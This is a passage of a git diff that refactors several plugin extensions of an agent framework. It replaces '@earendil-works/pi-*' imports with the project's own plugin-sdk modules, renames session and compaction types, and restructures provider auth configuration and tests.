"integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==", - "license": "ISC", - "peerDependencies": { - "zod": "^3.25.28 || ^4" - } } } } diff --git a/extensions/codex/package.json b/extensions/codex/package.json index 77f91389deb..e8900ddc56c 100644 --- a/extensions/codex/package.json +++ b/extensions/codex/package.json @@ -8,7 +8,6 @@ }, "type": "module", "dependencies": { - "@earendil-works/pi-coding-agent": "0.75.5", "@openai/codex": "0.134.0", "typebox": "1.1.38", "ws": "8.21.0", diff --git a/extensions/codex/src/app-server/auth-bridge.test.ts b/extensions/codex/src/app-server/auth-bridge.test.ts index cf08864f146..871abdae6ef 100644 --- a/extensions/codex/src/app-server/auth-bridge.test.ts +++ b/extensions/codex/src/app-server/auth-bridge.test.ts @@ -40,13 +40,6 @@ const providerRuntimeMocks = vi.hoisted(() => ({ ), })); -vi.mock("@earendil-works/pi-ai/oauth", () => ({ - getOAuthApiKey: vi.fn(), - getOAuthProviders: () => [], - loginOpenAICodex: vi.fn(), - refreshOpenAICodexToken: oauthMocks.refreshOpenAICodexToken, -})); - vi.mock("openclaw/plugin-sdk/agent-runtime", async (importOriginal) => { const actual = await importOriginal(); return { diff --git a/extensions/codex/src/app-server/compact.ts b/extensions/codex/src/app-server/compact.ts index 071620ae9f6..e35df2557c8 100644 --- a/extensions/codex/src/app-server/compact.ts +++ b/extensions/codex/src/app-server/compact.ts @@ -1,9 +1,8 @@ import { embeddedAgentLog, - type CompactEmbeddedPiSessionParams, - type EmbeddedPiCompactResult, + type CompactEmbeddedAgentSessionParams, + type EmbeddedAgentCompactResult, } from "openclaw/plugin-sdk/agent-harness-runtime"; -import { asOptionalRecord as readRecord } from "openclaw/plugin-sdk/string-coerce-runtime"; import { defaultCodexAppServerClientFactory, type CodexAppServerClientFactory, @@ -16,18 +15,19 @@ import { readCodexAppServerBinding } from "./session-binding.js"; const warnedIgnoredCompactionOverrides = new Set(); export async function maybeCompactCodexAppServerSession( - params: CompactEmbeddedPiSessionParams, + params: CompactEmbeddedAgentSessionParams, options: { pluginConfig?: unknown; clientFactory?: CodexAppServerClientFactory } = {}, -): Promise { +): Promise { warnIfIgnoringOpenClawCompactionOverrides(params); // Codex owns automatic context-pressure compaction for Codex runtime sessions. - // This entry point is only for explicit/manual compaction requests. OpenClaw - // starts native Codex compaction for the bound thread and returns immediately; - // Codex reports and applies the compaction inside its own app-server session. + // This entry point starts native Codex compaction for the bound thread and + // returns immediately; Codex applies the compaction inside its app-server. return compactCodexNativeThread(params, options); } -function warnIfIgnoringOpenClawCompactionOverrides(params: CompactEmbeddedPiSessionParams): void { +function warnIfIgnoringOpenClawCompactionOverrides( + params: CompactEmbeddedAgentSessionParams, +): void { const ignoredConfig = readIgnoredCompactionOverridePaths(params); if (ignoredConfig.length === 0) { return; @@ -47,7 +47,7 @@ function warnIfIgnoringOpenClawCompactionOverrides(params: CompactEmbeddedPiSess ); } -function readIgnoredCompactionOverridePaths(params: CompactEmbeddedPiSessionParams): string[] { +function readIgnoredCompactionOverridePaths(params: CompactEmbeddedAgentSessionParams): string[] { const ignored = new Set(); for (const entry of readCompactionOverrideEntries(params)) { const localProvider = @@ -71,7 +71,7 @@ function readIgnoredCompactionOverridePaths(params: CompactEmbeddedPiSessionPara return [...ignored]; } -function readCompactionOverrideEntries(params: CompactEmbeddedPiSessionParams): Array<{ +function readCompactionOverrideEntries(params: CompactEmbeddedAgentSessionParams): Array<{ path: string; record: Record; inheritedRecord?: Record; @@ -118,10 +118,16 @@ function readAgentIdFromSessionKey(sessionKey: string | undefined): string | und return parts[1]?.trim() || undefined; } +function readRecord(value: unknown): Record | undefined { + return value && typeof value === "object" && !Array.isArray(value) + ? (value as Record) + : undefined; +} + async function compactCodexNativeThread( - params: CompactEmbeddedPiSessionParams, + params: CompactEmbeddedAgentSessionParams, options: { pluginConfig?: unknown; clientFactory?: CodexAppServerClientFactory } = {}, -): Promise { +): Promise { if (params.trigger !== "manual") { embeddedAgentLog.info("skipping codex app-server compaction for non-manual trigger", { sessionId: params.sessionId, @@ -225,13 +231,13 @@ async function compactCodexNativeThread( } function failedCodexThreadBindingCompactionResult( - params: CompactEmbeddedPiSessionParams, + params: CompactEmbeddedAgentSessionParams, recovery: { reason: string; recovery: "missing_thread_binding" | "stale_thread_binding"; threadId?: string; }, -): EmbeddedPiCompactResult { +): EmbeddedAgentCompactResult { embeddedAgentLog.warn("codex app-server compaction could not use thread binding", { sessionId: params.sessionId, sessionKey: params.sessionKey, diff --git a/extensions/codex/src/app-server/context-engine-projection.test.ts b/extensions/codex/src/app-server/context-engine-projection.test.ts index d4209ef4b5c..b2ef6952269 100644 --- a/extensions/codex/src/app-server/context-engine-projection.test.ts +++ b/extensions/codex/src/app-server/context-engine-projection.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it } from "vitest"; import { projectContextEngineAssemblyForCodex, diff --git a/extensions/codex/src/app-server/delivery-no-reply-runtime-contract.test.ts b/extensions/codex/src/app-server/delivery-no-reply-runtime-contract.test.ts index af240d9ba80..aa9f6d37994 100644 --- a/extensions/codex/src/app-server/delivery-no-reply-runtime-contract.test.ts +++ b/extensions/codex/src/app-server/delivery-no-reply-runtime-contract.test.ts @@ -1,9 +1,9 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; import type { EmbeddedRunAttemptParams } from "openclaw/plugin-sdk/agent-harness"; import { DELIVERY_NO_REPLY_RUNTIME_CONTRACT } from "openclaw/plugin-sdk/agent-runtime-test-contracts"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { isSilentReplyPayloadText } from "openclaw/plugin-sdk/reply-chunking"; import { afterEach, describe, expect, it } from "vitest"; import { CodexAppServerEventProjector } from "./event-projector.js"; diff --git a/extensions/codex/src/app-server/dynamic-tools.test.ts b/extensions/codex/src/app-server/dynamic-tools.test.ts index e8d2dcd2786..0f28ecf6412 100644 --- a/extensions/codex/src/app-server/dynamic-tools.test.ts +++ b/extensions/codex/src/app-server/dynamic-tools.test.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import type { AnyAgentTool } from "openclaw/plugin-sdk/agent-harness"; import { HEARTBEAT_RESPONSE_TOOL_NAME, diff --git a/extensions/codex/src/app-server/dynamic-tools.ts b/extensions/codex/src/app-server/dynamic-tools.ts index 377272d4bd7..606050cf597 100644 --- a/extensions/codex/src/app-server/dynamic-tools.ts +++ b/extensions/codex/src/app-server/dynamic-tools.ts @@ -1,5 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; -import type { ImageContent, TextContent } from "@earendil-works/pi-ai"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { createAgentToolResultMiddlewareRunner, createCodexAppServerToolResultExtensionRunner, @@ -21,6 +20,7 @@ import { type MessagingToolSourceReplyPayload, wrapToolWithBeforeToolCallHook, } from "openclaw/plugin-sdk/agent-harness-runtime"; +import type { ImageContent, TextContent } from "openclaw/plugin-sdk/llm"; import { normalizeAgentId } from "openclaw/plugin-sdk/routing"; import { asOptionalRecord as readRecord, diff --git a/extensions/codex/src/app-server/event-projector.test.ts b/extensions/codex/src/app-server/event-projector.test.ts index e98cd594f6a..feb95a5061e 100644 --- a/extensions/codex/src/app-server/event-projector.test.ts +++ b/extensions/codex/src/app-server/event-projector.test.ts @@ -1,9 +1,9 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; import type { EmbeddedRunAttemptParams } from "openclaw/plugin-sdk/agent-harness"; import { resetAgentEventsForTest } from "openclaw/plugin-sdk/agent-harness-runtime"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { onInternalDiagnosticEvent, resetDiagnosticEventsForTest, diff --git a/extensions/codex/src/app-server/event-projector.ts b/extensions/codex/src/app-server/event-projector.ts index f9c7ca16c0f..d8670234345 100644 --- a/extensions/codex/src/app-server/event-projector.ts +++ b/extensions/codex/src/app-server/event-projector.ts @@ -1,4 +1,3 @@ -import type { AssistantMessage, Usage } from "@earendil-works/pi-ai"; import { classifyAgentHarnessTerminalOutcome, embeddedAgentLog, @@ -21,11 +20,7 @@ import { type ToolProgressDetailMode, } from "openclaw/plugin-sdk/agent-harness-runtime"; import { emitTrustedDiagnosticEvent } from "openclaw/plugin-sdk/diagnostic-runtime"; -import { - asBoolean, - asFiniteNumber, - normalizeStringEntries, -} from "openclaw/plugin-sdk/string-coerce-runtime"; +import type { AssistantMessage, Usage } from "openclaw/plugin-sdk/llm"; import { resolveCodexLocalRuntimeAttribution } from "./local-runtime-attribution.js"; import { readCodexNotificationThreadId, @@ -389,14 +384,14 @@ export class CodexAppServerEventProjector { sideEffectEvidence?: boolean; contentItems: CodexDynamicToolCallOutputContentItem[]; }): void { - const existingMeta = this.toolMetas.get(params.callId); - this.toolMetas.set(params.callId, { - toolName: params.tool, - ...(existingMeta?.meta ? { meta: existingMeta.meta } : {}), - ...(existingMeta?.asyncStarted === true || params.asyncStarted === true - ? { asyncStarted: true } - : {}), - }); + if (params.asyncStarted === true) { + const existing = this.toolMetas.get(params.callId); + this.toolMetas.set(params.callId, { + toolName: existing?.toolName ?? params.tool, + ...(existing?.meta ? { meta: existing.meta } : {}), + asyncStarted: true, + }); + } this.recordToolTranscriptResult({ id: params.callId, name: params.tool, @@ -812,7 +807,9 @@ export class CodexAppServerEventProjector { } private buildToolMediaUrls(toolTelemetry: CodexAppServerToolTelemetry): string[] | undefined { - const mediaUrls = new Set(normalizeStringEntries(toolTelemetry.toolMediaUrls ?? [])); + const mediaUrls = new Set( + toolTelemetry.toolMediaUrls?.map((url) => url.trim()).filter(Boolean) ?? [], + ); if ((toolTelemetry.messagingToolSentMediaUrls?.length ?? 0) === 0) { for (const mediaUrl of this.nativeGeneratedMediaUrls) { mediaUrls.add(mediaUrl); @@ -1225,11 +1222,11 @@ export class CodexAppServerEventProjector { return; } const meta = itemMeta(item, this.toolProgressDetailMode()); - const existingMeta = this.toolMetas.get(item.id); + const existing = this.toolMetas.get(item.id); this.toolMetas.set(item.id, { toolName, ...(meta ? { meta } : {}), - ...(existingMeta?.asyncStarted === true ? { asyncStarted: true } : {}), + ...(existing?.asyncStarted ? { asyncStarted: true } : {}), }); if (isSideEffectingNativeToolItem(item)) { this.sideEffectingToolItemIds.add(item.id); @@ -1584,11 +1581,13 @@ function readNullableString(record: JsonObject, key: string): string | null | un } function readNumber(record: JsonObject, key: string): number | undefined { - return asFiniteNumber(record[key]); + const value = record[key]; + return typeof value === "number" && Number.isFinite(value) ? value : undefined; } function readBoolean(record: JsonObject, key: string): boolean | undefined { - return asBoolean(record[key]); + const value = record[key]; + return typeof value === "boolean" ? value : undefined; } function readBooleanAlias(record: JsonObject, keys: readonly string[]): boolean | undefined { diff --git a/extensions/codex/src/app-server/outcome-fallback-runtime-contract.test.ts b/extensions/codex/src/app-server/outcome-fallback-runtime-contract.test.ts index 1afba988830..561c005734f 100644 --- a/extensions/codex/src/app-server/outcome-fallback-runtime-contract.test.ts +++ b/extensions/codex/src/app-server/outcome-fallback-runtime-contract.test.ts @@ -1,13 +1,13 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; import type { EmbeddedRunAttemptParams } from "openclaw/plugin-sdk/agent-harness"; -import { classifyEmbeddedPiRunResultForModelFallback } from "openclaw/plugin-sdk/agent-harness-runtime"; +import { classifyEmbeddedAgentRunResultForModelFallback } from "openclaw/plugin-sdk/agent-harness-runtime"; import { createContractRunResult, OUTCOME_FALLBACK_RUNTIME_CONTRACT, } from "openclaw/plugin-sdk/agent-runtime-test-contracts"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, describe, expect, it } from "vitest"; import { CodexAppServerEventProjector, @@ -72,7 +72,7 @@ function forCurrentTurn( function classifyProjectedAttemptResult(result: ProjectedAttemptResult) { const finalAssistantText = result.assistantTexts.join("\n\n").trim(); - return classifyEmbeddedPiRunResultForModelFallback({ + return classifyEmbeddedAgentRunResultForModelFallback({ provider: "codex", model: OUTCOME_FALLBACK_RUNTIME_CONTRACT.primaryModel, result: createContractRunResult({ diff --git a/extensions/codex/src/app-server/run-attempt.context-engine.test.ts b/extensions/codex/src/app-server/run-attempt.context-engine.test.ts index 826af4d51dd..a5356dfb42b 100644 --- a/extensions/codex/src/app-server/run-attempt.context-engine.test.ts +++ b/extensions/codex/src/app-server/run-attempt.context-engine.test.ts @@ -1,13 +1,13 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import type { EmbeddedRunAttemptParams } from "openclaw/plugin-sdk/agent-harness"; import { embeddedAgentLog, type HarnessContextEngine as ContextEngine, } from "openclaw/plugin-sdk/agent-harness-runtime"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { registerSandboxBackend } from "openclaw/plugin-sdk/sandbox"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { CodexAppServerClientFactory } from "./client-factory.js"; diff --git a/extensions/codex/src/app-server/run-attempt.hooks.test.ts b/extensions/codex/src/app-server/run-attempt.hooks.test.ts index 3c8da93ece6..abbe56d1ac8 100644 --- a/extensions/codex/src/app-server/run-attempt.hooks.test.ts +++ b/extensions/codex/src/app-server/run-attempt.hooks.test.ts @@ -1,10 +1,10 @@ import path from "node:path"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; import { abortAgentHarnessRun, onAgentEvent, type AgentEventPayload, } from "openclaw/plugin-sdk/agent-harness-runtime"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { onInternalDiagnosticEvent, waitForDiagnosticEventsDrained, @@ -219,7 +219,7 @@ describe("runCodexAppServerAttempt hooks and model diagnostics", () => { try { const sessionFile = path.join(tempDir, "session.jsonl"); const workspaceDir = path.join(tempDir, "workspace"); - createAppServerHarness(async (method) => { + const harness = createAppServerHarness(async (method) => { if (method === "thread/start") { return threadStartResult(); } @@ -257,10 +257,14 @@ describe("runCodexAppServerAttempt hooks and model diagnostics", () => { }, }, } as never; + params.sessionId = "diagnostic-session-1"; + params.sessionKey = "agent:diagnostic:diagnostic-session-1"; + params.runId = "diagnostic-run-1"; const run = runCodexAppServerAttempt(params, { nativeHookRelay: { enabled: false }, turnCompletionIdleTimeoutMs: 5, }); + await harness.waitForMethod("turn/start"); await run; await vi.waitFor( () => @@ -274,7 +278,7 @@ describe("runCodexAppServerAttempt hooks and model diagnostics", () => { const completedEvent = diagnosticEvents.find( (event) => event.type === "model.call.completed", ); - expect(startedEvent?.callId).toBe("run-1:codex-model:1"); + expect(startedEvent?.callId).toBe("diagnostic-run-1:codex-model:1"); expect(startedEvent?.trace?.traceId).toBeTypeOf("string"); expect(JSON.stringify(startedEvent)).not.toContain("hello"); const startedContent = diagnosticContentByType.get("model.call.started")?.modelContent; @@ -282,7 +286,7 @@ describe("runCodexAppServerAttempt hooks and model diagnostics", () => { expect(startedContent?.systemPrompt).toContain( "You are a personal agent running inside OpenClaw.", ); - expect(completedEvent?.callId).toBe("run-1:codex-model:1"); + expect(completedEvent?.callId).toBe("diagnostic-run-1:codex-model:1"); expect(JSON.stringify(completedEvent)).not.toContain("hello back"); expect( JSON.stringify(diagnosticContentByType.get("model.call.completed")?.modelContent), diff --git a/extensions/codex/src/app-server/run-attempt.test.ts b/extensions/codex/src/app-server/run-attempt.test.ts index d6ef13ff120..aab95ccc367 100644 --- a/extensions/codex/src/app-server/run-attempt.test.ts +++ b/extensions/codex/src/app-server/run-attempt.test.ts @@ -1,6 +1,5 @@ import fs from "node:fs/promises"; import path from "node:path"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; import { abortAgentHarnessRun, embeddedAgentLog, @@ -8,6 +7,7 @@ import { type AgentEventPayload, type EmbeddedRunAttemptParams, } from "openclaw/plugin-sdk/agent-harness-runtime"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { onInternalDiagnosticEvent, waitForDiagnosticEventsDrained, @@ -955,8 +955,8 @@ describe("runCodexAppServerAttempt", () => { text: "Unscoped structured command guidance.", }, { - text: "PI main command guidance.", - surfaces: ["pi_main"], + text: "OpenClaw main command guidance.", + surfaces: ["openclaw_main"], }, ], handler: async () => ({ text: "ok" }), @@ -969,7 +969,7 @@ describe("runCodexAppServerAttempt", () => { expect(instructions).toContain("Codex app-server command guidance."); expect(instructions).not.toContain("Legacy global command guidance."); expect(instructions).not.toContain("Unscoped structured command guidance."); - expect(instructions).not.toContain("PI main command guidance."); + expect(instructions).not.toContain("OpenClaw main command guidance."); }); it("keeps OpenClaw skills out of Codex developer instructions", async () => { diff --git a/extensions/codex/src/app-server/run-attempt.ts b/extensions/codex/src/app-server/run-attempt.ts index 4514df67eba..3a41ac3dd15 100644 --- a/extensions/codex/src/app-server/run-attempt.ts +++ b/extensions/codex/src/app-server/run-attempt.ts @@ -12,6 +12,7 @@ import { emitAgentEvent as emitGlobalAgentEvent, finalizeHarnessContextEngineTurn, formatErrorMessage, + getAgentHarnessHookRunner, getBeforeToolCallPolicyDiagnosticState, isActiveHarnessContextEngine, loadCodexBundleMcpThreadConfig, @@ -586,6 +587,7 @@ export async function runCodexAppServerAttempt( channelId: hookChannelId, ...hookContextWindowFields, }; + const hookRunner = getAgentHarnessHookRunner(); const activeContextEnginePluginId = activeContextEngine ? resolveContextEngineOwnerPluginId(activeContextEngine) : undefined; @@ -1566,6 +1568,7 @@ export async function runCodexAppServerAttempt( runAgentHarnessLlmInputHook({ event: buildLlmInputEvent(), ctx: hookContext, + hookRunner, }); emitCodexAppServerEvent(params, { stream: "codex_app_server.lifecycle", @@ -1655,6 +1658,7 @@ export async function runCodexAppServerAttempt( assistantTexts: [], }, ctx: hookContext, + hookRunner, }); const turnStartFailureKind = classifyCodexModelCallFailureKind({ error: turnStartError, @@ -1677,6 +1681,7 @@ export async function runCodexAppServerAttempt( durationMs: Date.now() - attemptStartedAt, }, ctx: hookContext, + hookRunner, }); if (!timedOut) { await unsubscribeCodexThreadBestEffort(client, { @@ -2011,6 +2016,7 @@ export async function runCodexAppServerAttempt( ...(result.attemptUsage ? { usage: result.attemptUsage } : {}), }, ctx: hookContext, + hookRunner, }); await runCodexAgentEndHook(params, { event: { @@ -2020,6 +2026,7 @@ export async function runCodexAppServerAttempt( durationMs: Date.now() - attemptStartedAt, }, ctx: hookContext, + hookRunner, }); const completedTurnStatus = activeProjector.getCompletedTurnStatus(); shouldDelayNativeHookRelayUnregister = diff --git a/extensions/codex/src/app-server/session-binding.test.ts b/extensions/codex/src/app-server/session-binding.test.ts index 3b835105b2b..2d1db9e3e8f 100644 --- a/extensions/codex/src/app-server/session-binding.test.ts +++ b/extensions/codex/src/app-server/session-binding.test.ts @@ -51,7 +51,7 @@ describe("codex app-server session binding", () => { await fs.rm(tempDir, { recursive: true, force: true }); }); - it("round-trips the thread binding beside the PI session file", async () => { + it("round-trips the thread binding beside the session file", async () => { const sessionFile = path.join(tempDir, "session.json"); await writeCodexAppServerBinding(sessionFile, { threadId: "thread-123", diff --git a/extensions/codex/src/app-server/session-history.ts b/extensions/codex/src/app-server/session-history.ts index b81920057c8..619ab21abf4 100644 --- a/extensions/codex/src/app-server/session-history.ts +++ b/extensions/codex/src/app-server/session-history.ts @@ -1,11 +1,11 @@ import fs from "node:fs/promises"; -import type { SessionEntry } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-harness-runtime"; +import type { SessionEntry } from "openclaw/plugin-sdk/agent-sessions"; import { buildSessionContext, migrateSessionEntries, parseSessionEntries, -} from "@earendil-works/pi-coding-agent"; -import type { AgentMessage } from "openclaw/plugin-sdk/agent-harness-runtime"; +} from "openclaw/plugin-sdk/agent-sessions"; import { sanitizeCodexHistoryImagePayloads } from "./image-payload-sanitizer.js"; function isMissingFileError(error: unknown): boolean { diff --git a/extensions/codex/src/app-server/test-support.ts b/extensions/codex/src/app-server/test-support.ts index 7f125866170..531b496c977 100644 --- a/extensions/codex/src/app-server/test-support.ts +++ b/extensions/codex/src/app-server/test-support.ts @@ -1,10 +1,10 @@ import { EventEmitter } from "node:events"; import { PassThrough, Writable } from "node:stream"; -import type { Api, Model } from "@earendil-works/pi-ai"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { vi } from "vitest"; import { CodexAppServerClient } from "./client.js"; -export function createCodexTestModel(provider = "openai-codex", input = ["text"]): Model { +export function createCodexTestModel(provider = "openai-codex", input = ["text"]): Model { return { id: "gpt-5.4-codex", name: "gpt-5.4-codex", @@ -15,7 +15,7 @@ export function createCodexTestModel(provider = "openai-codex", input = ["text"] cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, contextWindow: 128_000, maxTokens: 8_000, - } as Model; + } as Model; } export function createClientHarness() { diff --git a/extensions/codex/src/app-server/thread-lifecycle.ts b/extensions/codex/src/app-server/thread-lifecycle.ts index 085df081c69..de468f146e5 100644 --- a/extensions/codex/src/app-server/thread-lifecycle.ts +++ b/extensions/codex/src/app-server/thread-lifecycle.ts @@ -1173,7 +1173,7 @@ export function resolveCodexAppServerModelProvider(params: { // none/low/medium/high/xhigh effort enum and reject "minimal". The CLI // defaults thinkLevel to "minimal", so without translation EVERY agent turn // on those models pays a wasted first request + retry-with-low fallback in -// pi-embedded-runner. Map "minimal" -> "low" upfront for modern models so the +// embedded-agent-runner. Map "minimal" -> "low" upfront for modern models so the // first request is accepted. Older Codex models still accept "minimal" // directly. (#71946) // Exported for unit-test coverage of the model-aware translation path. diff --git a/extensions/codex/src/app-server/transcript-mirror.test.ts b/extensions/codex/src/app-server/transcript-mirror.test.ts index b83672ee626..f298ae0907d 100644 --- a/extensions/codex/src/app-server/transcript-mirror.test.ts +++ b/extensions/codex/src/app-server/transcript-mirror.test.ts @@ -103,7 +103,7 @@ function parseJsonLines(raw: string): T[] { } describe("mirrorCodexAppServerTranscript", () => { - it("mirrors user, assistant, and tool result messages into the Pi transcript", async () => { + it("mirrors user, assistant, and tool result messages into the embedded-agent transcript", async () => { const sessionFile = await createTempSessionFile(); const userMessage = makeAgentUserMessage({ content: [{ type: "text", text: "hello" }], diff --git a/extensions/codex/src/commands.ts b/extensions/codex/src/commands.ts index c3c5d1788c5..681444313e8 100644 --- a/extensions/codex/src/commands.ts +++ b/extensions/codex/src/commands.ts @@ -29,11 +29,11 @@ export function createCodexCommand(options: CodexCommandOptions): OpenClawPlugin agentPromptGuidance: [ { text: "Native Codex app-server plugin is available (`/codex ...`). For Codex bind/control/thread/resume/steer/stop requests, prefer `/codex bind`, `/codex threads`, `/codex resume`, `/codex steer`, and `/codex stop` over ACP. When OpenClaw sandboxing is active, native Codex execution modes are unavailable; use normal Codex harness turns.", - surfaces: ["pi_main"], + surfaces: ["openclaw_main"], }, { text: "Use ACP for Codex only when the user explicitly asks for ACP/acpx or wants to test the ACP path.", - surfaces: ["pi_main"], + surfaces: ["openclaw_main"], }, ], acceptsArgs: true, diff --git a/extensions/codex/src/manifest.test.ts b/extensions/codex/src/manifest.test.ts index 07e9117cdb5..f6e59dd3dca 100644 --- a/extensions/codex/src/manifest.test.ts +++ b/extensions/codex/src/manifest.test.ts @@ -4,6 +4,7 @@ import { MANAGED_CODEX_APP_SERVER_PACKAGE_VERSION } from "./app-server/version.j type CodexPackageManifest = { dependencies?: Record; + devDependencies?: Record; }; describe("codex package manifest", () => { @@ -12,7 +13,7 @@ describe("codex package manifest", () => { fs.readFileSync(new URL("../package.json", import.meta.url), "utf8"), ) as CodexPackageManifest; - expect(packageJson.dependencies).toHaveProperty("@earendil-works/pi-coding-agent"); + expect(packageJson.devDependencies).toHaveProperty("@openclaw/plugin-sdk"); expect(packageJson.dependencies?.["@openai/codex"]).toBe( MANAGED_CODEX_APP_SERVER_PACKAGE_VERSION, ); diff --git a/extensions/comfy/openclaw.plugin.json b/extensions/comfy/openclaw.plugin.json index abdbaa87905..5568ed1e3cc 100644 --- a/extensions/comfy/openclaw.plugin.json +++ b/extensions/comfy/openclaw.plugin.json @@ -5,8 +5,13 @@ }, "enabledByDefault": true, "providers": ["comfy"], - "providerAuthEnvVars": { - "comfy": ["COMFY_API_KEY", "COMFY_CLOUD_API_KEY"] + "setup": { + "providers": [ + { + "id": "comfy", + "envVars": ["COMFY_API_KEY", "COMFY_CLOUD_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/deepgram/openclaw.plugin.json b/extensions/deepgram/openclaw.plugin.json index fcfa267a623..9ede70b10eb 100644 --- a/extensions/deepgram/openclaw.plugin.json +++ b/extensions/deepgram/openclaw.plugin.json @@ -4,8 +4,13 @@ "onStartup": false }, "enabledByDefault": true, - "providerAuthEnvVars": { - "deepgram": ["DEEPGRAM_API_KEY"] + "setup": { + "providers": [ + { + "id": "deepgram", + "envVars": ["DEEPGRAM_API_KEY"] + } + ] }, "contracts": { "mediaUnderstandingProviders": ["deepgram"], diff --git a/extensions/deepinfra/cache-wrapper.test.ts b/extensions/deepinfra/cache-wrapper.test.ts index 0a9b4b83953..662f01f9fac 100644 --- a/extensions/deepinfra/cache-wrapper.test.ts +++ b/extensions/deepinfra/cache-wrapper.test.ts @@ -1,12 +1,12 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; import { describe, expect, it } from "vitest"; import { createDeepInfraAnthropicCacheWrapper } from "./cache-wrapper.js"; -function capturePayload(params: { - modelId: string; - initialPayload: Record; -}): { captured: Record; baseCalls: number } { +type StreamFn = Parameters[0]; + +function capturePayload(params: { modelId: string; initialPayload: Record }): { + captured: Record; + baseCalls: number; +} { let captured: Record = {}; let baseCalls = 0; const baseStreamFn: StreamFn = (_model, _context, options) => { @@ -24,8 +24,8 @@ function capturePayload(params: { provider: "deepinfra", id: params.modelId, reasoning: false, - } as Model<"openai-completions">, - { messages: [] } as Context, + } as Parameters[0], + { messages: [] } as Parameters[1], {} as never, ); diff --git a/extensions/deepinfra/openclaw.plugin.json b/extensions/deepinfra/openclaw.plugin.json index 4428108891d..a75e4c00fd4 100644 --- a/extensions/deepinfra/openclaw.plugin.json +++ b/extensions/deepinfra/openclaw.plugin.json @@ -5,7 +5,7 @@ }, "enabledByDefault": true, "providers": ["deepinfra"], - "providerDiscoveryEntry": "./provider-discovery.ts", + "providerCatalogEntry": "./provider-discovery.ts", "providerAuthEnvVars": { "deepinfra": ["DEEPINFRA_API_KEY"] }, diff --git a/extensions/deepseek/deepseek.live.test.ts b/extensions/deepseek/deepseek.live.test.ts index d5c90a0a7d6..0f57bb50d5c 100644 --- a/extensions/deepseek/deepseek.live.test.ts +++ b/extensions/deepseek/deepseek.live.test.ts @@ -1,16 +1,16 @@ import { completeSimple, streamSimple, - Type, type AssistantMessage, type Context, type Model, -} from "@earendil-works/pi-ai"; +} from "openclaw/plugin-sdk/llm"; import { createSingleUserPromptMessage, extractNonEmptyAssistantText, isLiveTestEnabled, } from "openclaw/plugin-sdk/test-env"; +import { Type } from "typebox"; import { describe, expect, it } from "vitest"; import { buildDeepSeekProvider } from "./provider-catalog.js"; import { createDeepSeekV4ThinkingWrapper } from "./stream.js"; diff --git a/extensions/deepseek/index.test.ts b/extensions/deepseek/index.test.ts index 0599c36c794..484092a34b5 100644 --- a/extensions/deepseek/index.test.ts +++ b/extensions/deepseek/index.test.ts @@ -1,5 +1,5 @@ -import type { Context, Model } from "@earendil-works/pi-ai"; -import { createAssistantMessageEventStream } from "@earendil-works/pi-ai"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; +import { createAssistantMessageEventStream } from "openclaw/plugin-sdk/llm"; import { registerSingleProviderPlugin, resolveProviderPluginChoice, diff --git a/extensions/deepseek/openclaw.plugin.json b/extensions/deepseek/openclaw.plugin.json index 1ee45891f8f..3813d9ccc42 100644 --- a/extensions/deepseek/openclaw.plugin.json +++ b/extensions/deepseek/openclaw.plugin.json @@ -106,8 +106,13 @@ "deepseek": "static" } }, - "providerAuthEnvVars": { - "deepseek": ["DEEPSEEK_API_KEY"] + "setup": { + "providers": [ + { + "id": "deepseek", + "envVars": ["DEEPSEEK_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/discord/src/actions/handle-action.guild-admin.ts b/extensions/discord/src/actions/handle-action.guild-admin.ts index 995d34c57ea..b528cb15795 100644 --- a/extensions/discord/src/actions/handle-action.guild-admin.ts +++ b/extensions/discord/src/actions/handle-action.guild-admin.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { readNumberParam, readStringArrayParam, diff --git a/extensions/discord/src/actions/handle-action.ts b/extensions/discord/src/actions/handle-action.ts index 64d1a671a57..7352fd7a851 100644 --- a/extensions/discord/src/actions/handle-action.ts +++ b/extensions/discord/src/actions/handle-action.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { readNumberParam, readStringArrayParam, diff --git a/extensions/discord/src/actions/runtime.guild.ts b/extensions/discord/src/actions/runtime.guild.ts index 